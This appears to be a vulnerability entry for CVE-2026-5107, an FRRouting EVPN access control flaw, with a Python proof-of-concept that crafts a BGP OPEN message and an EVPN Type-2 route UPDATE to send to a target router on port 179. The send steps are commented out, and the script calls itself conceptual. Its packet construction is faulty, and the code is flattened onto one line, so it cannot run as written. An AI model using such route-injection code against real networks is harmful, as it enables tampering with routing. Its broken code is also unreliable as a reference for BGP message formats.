CVE-2026-5107 FRRouting EVPN访问控制不当漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5107: FRRouting EVPN Type-2 Route Improper Access Control # This script simulates sending a crafted BGP EVPN Type-2 route update. # Note: Actual exploitation requires a BGP session and specific network conditions. import socket import struct def build_bgp_open(): # Simplified BGP OPEN message return b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x1d\x01\x04\x00\x64\x00\xb4\x0c\x00\x00\x00\x00' def build_evpn_update(): # Simplified BGP UPDATE with EVPN NLRI (Type-2) # This is a conceptual representation, not a fully compliant packet. marker = b'\xff' * 16 length = struct.pack('!H', 50) # Placeholder length type_ = b'\x02' # UPDATE withdrawn_len = struct.pack('!H', 0) path_attr_len = struct.pack('!H', 0) # Simplified # EVPN Type-2 NLRI (MAC/IP Advertisement Route) # Format: [Type(1)][Length(1)][Route Distinguisher(8)][ESI(10)][ETag(4)][MAC(6)][IP(4 or 16)] nlri = b'\x02\x19' # Type 2, Length 25 (example) nlri += b'\x00' * 8 # RD (Route Distinguisher) nlri += b'\x00' * 10 # ESI (Ethernet Segment Identifier) nlri += b'\x00' * 4 # ETag nlri += b'\x00\x11\x22\x33\x44\x55' # MAC Address nlri += b'\xc0\xa8\x01\x01' # IP Address message = marker + length + type_ + withdrawn_len + path_attr_len + nlri # Update length length_corrected = struct.pack('!H', len(message)) return marker + length_corrected + type_ + withdrawn_len + path_attr_len + nlri # In a real scenario, connect to BGP port 179 # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect(('target_ip', 179)) # sock.send(build_bgp_open()) # sock.send(build_evpn_update()) print("[+] Crafted EVPN Type-2 Update generated (Conceptual PoC)") print("[+] Refer to patch 7676cad65114aa23adde583d91d9d29e2debd045 for details")